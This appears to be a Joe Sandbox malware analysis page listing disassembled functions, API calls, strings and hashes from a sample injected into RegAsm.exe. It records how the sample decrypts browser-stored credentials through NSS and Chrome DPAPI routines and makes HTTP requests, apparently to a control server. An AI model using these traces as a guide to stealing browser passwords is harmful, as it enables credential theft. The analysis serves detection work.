Thread , xrefs: 6CA5F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA5F9A6
" attempted to re-register as ", xrefs: 6CA5F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA5F71F

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 3680e9e247f13f2d97118056f23f5e7146c3d1c96cbea94665baaefba5129f39
Instruction ID: b3e1527dc148c7ca25867226be211b40cce05291cdd00059e3d8f0a399ee9a2d
Opcode Fuzzy Hash: 3680e9e247f13f2d97118056f23f5e7146c3d1c96cbea94665baaefba5129f39
Instruction Fuzzy Hash: 348126B06157009FDB10DF68C940AAAB7F5FF85308F94851DE48A8BB51EB30989DCB92

Function 0040C7D0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C7E5

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C8C9
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C8D5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C8E8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040C8F5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C919
StrStrA.SHLWAPI(?,01502BE8,00420B37), ref: 0040C937
StrStrA.SHLWAPI(00000000,01502BD0), ref: 0040C95E
StrStrA.SHLWAPI(?,015026E0,00000000,?,004213FC,00000000,?,00000000,00000000,?,014FAA28,00000000,?,004213F8,00000000,?), ref: 0040CAE2
StrStrA.SHLWAPI(00000000,01502620), ref: 0040CAF9

Part of subcall function 0040C660: memset.MSVCRT ref: 0040C693
Part of subcall function 0040C660: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,014FAA58), ref: 0040C6B1
Part of subcall function 0040C660: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
Part of subcall function 0040C660: PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
Part of subcall function 0040C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
Part of subcall function 0040C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
Part of subcall function 0040C660: memcpy.MSVCRT(?,?,?), ref: 0040C752
Part of subcall function 0040C660: PK11_FreeSlot.NSS3(?), ref: 0040C7A1

StrStrA.SHLWAPI(?,01502620,00000000,?,00421400,00000000,?,00000000,014FAA58), ref: 0040CB9A
StrStrA.SHLWAPI(00000000,014FAC08), ref: 0040CBB1

Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

lstrlenA.KERNEL32(00000000), ref: 0040CC84
CloseHandle.KERNEL32(00000000), ref: 0040CCDC
NSS_Shutdown.NSS3 ref: 0040CCEA

Strings

, xrefs: 0040C806

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Filelstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 4120691046-3916222277
Opcode ID: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction ID: 91e77cebffad47ece097f7429d4e9b812732713b5b21c7dde3d323aaba1c439f
Opcode Fuzzy Hash: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction Fuzzy Hash: 15E18E71801108ABCB14EBA1DC96FEEB739AF14314F00415EF40773191EF786A99CBAA

Function 6CA29590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA13217
Part of subcall function 6CA131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA13236
Part of subcall function 6CA131C0: FreeLibrary.KERNEL32 ref: 6CA1324B
Part of subcall function 6CA131C0: __Init_thread_footer.LIBCMT ref: 6CA13260
Part of subcall function 6CA131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA1327F
Part of subcall function 6CA131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA1328E
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA132AB
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA132D1
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA132E5
Part of subcall function 6CA131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA29675
__Init_thread_footer.LIBCMT ref: 6CA29697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA29707
__Init_thread_footer.LIBCMT ref: 6CA2971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA29773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA297B7
FreeLibrary.KERNEL32 ref: 6CA297D0
FreeLibrary.KERNEL32 ref: 6CA297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA29824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA29670
NtMapViewOfSection, xrefs: 6CA29701
ntdll.dll, xrefs: 6CA296E3
MapViewOfFileNuma2, xrefs: 6CA297B1

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8c3f8081f2f01a48f3679dbb83e0e760e88c79fa8b96e4ce408ccbddfbf1e7f9
Instruction ID: 3992a56d8bcddbfb951b6b71a6994552c0a1294961b89ec608a82b693dd5d010
Opcode Fuzzy Hash: 8c3f8081f2f01a48f3679dbb83e0e760e88c79fa8b96e4ce408ccbddfbf1e7f9
Instruction Fuzzy Hash: C561D2707103129FDF04CF74EE86A9A3BB5FB4A714F08812CF95583A80EB349895CBA1

Function 004112B0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004112D5
ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 6CA6D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D52A
GetCurrentThreadId.KERNEL32 ref: 6CA6D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D55F
free.MOZGLUE(00000000), ref: 6CA6D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA6D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA6D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D652
GetCurrentThreadId.KERNEL32 ref: 6CA6D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA6D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA6D6A2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 73c9415352df9bb472e9bea82133851a52741ccf8b0b765e92e8897b79c58ccb
Instruction ID: 1ad68232139a97824772abd8ce0f2049352b518d911c09587be45156cf9a077d
Opcode Fuzzy Hash: 73c9415352df9bb472e9bea82133851a52741ccf8b0b765e92e8897b79c58ccb
Instruction Fuzzy Hash: 63519071A14706DFC704DF35D484A9ABBF4FF89358F10862DE85A87B10DB30A989CB91

Function 00410DE0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410E17
strtok_s.MSVCRT ref: 00411260

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 0291b9380254c4f85cd569094bc5995269b92536cee61bbc30b4daa697bbffe4
Instruction ID: 43f8ac416cb9b823db2283ba99bf4afb511f8f06efa02481fc3f2e7b5d6f774f
Opcode Fuzzy Hash: 0291b9380254c4f85cd569094bc5995269b92536cee61bbc30b4daa697bbffe4
Instruction Fuzzy Hash: B5C1C4B1900219ABCB14EF60DC89FDA7378BB64308F0045DEF50AA7251EA74AAD5CF95

Function 00413D90 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DAE
memset.MSVCRT ref: 00413DC5

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00413DFC
lstrcat.KERNEL32(?,01502DB0), ref: 00413E1B
lstrcat.KERNEL32(?,?), ref: 00413E2F
lstrcat.KERNEL32(?,01502AB0), ref: 00413E43

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00409D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89
Part of subcall function 00409D30: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409DE2

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 00418E60: GlobalAlloc.KERNEL32(00000000,00413EED,00413EED), ref: 00418E73

StrStrA.SHLWAPI(?,01502F30), ref: 00413F03
GlobalFree.KERNEL32(?), ref: 00413FFF

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 00413F90
StrCmpCA.SHLWAPI(?,0042089B,?,?,?,?,000003E8), ref: 00413FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00413FBF
lstrcat.KERNEL32(00000000,?), ref: 00413FD2
lstrcat.KERNEL32(00000000,00420F88), ref: 00413FE1

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1812951797-0
Opcode ID: 5d26ff6f9ea7f47e2a29da810280cdac1b318fd89199a4c5539fd73aa42b5956
Instruction ID: d4b1db0ab37bfb67570dd3d18e95715430c5246f155b9e5a4f3dc5da96f51bca
Opcode Fuzzy Hash: 5d26ff6f9ea7f47e2a29da810280cdac1b318fd89199a4c5539fd73aa42b5956
Instruction Fuzzy Hash: 0D716672900218ABCB14EBA1DC49FDE7779AF48304F00859DF605A7191EA789B85CFA5

Function 00414DA0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,01503990), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,01503158,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
lstrlenA.KERNEL32(00000000), ref: 00414E0F

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT(00000000,?), ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

ERROR, xrefs: 00414F12
ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414F89
ERROR, xrefs: 00414F4F
ERROR, xrefs: 00414E99

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: da0f7b7e1f2d7a9350b04163675a64a2d9ba48e08ba12cb650bd8394097db146
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: da0f7b7e1f2d7a9350b04163675a64a2d9ba48e08ba12cb650bd8394097db146
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6CA5EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5EC8C

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

GetCurrentThreadId.KERNEL32 ref: 6CA5ECA1
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA5ECC5
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA5ED19
CloseHandle.KERNEL32(?), ref: 6CA5ED28
free.MOZGLUE(00000000), ref: 6CA5ED2F
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA5EC94

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 55da99ba211372e70466f5e7faffbd703b34a7a8b30452648cde6133c80ad329
Instruction ID: dd15d312ae7be20b2ff8335514308d0218ce8282f5b1c140ceb1ce84a7039c06
Opcode Fuzzy Hash: 55da99ba211372e70466f5e7faffbd703b34a7a8b30452648cde6133c80ad329
Instruction Fuzzy Hash: D9213771610205AFCF008F24EC06AAA7779FB8526CF54C214FC1987740DF3498AACBE1

Function 6CA3C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA3C5A3
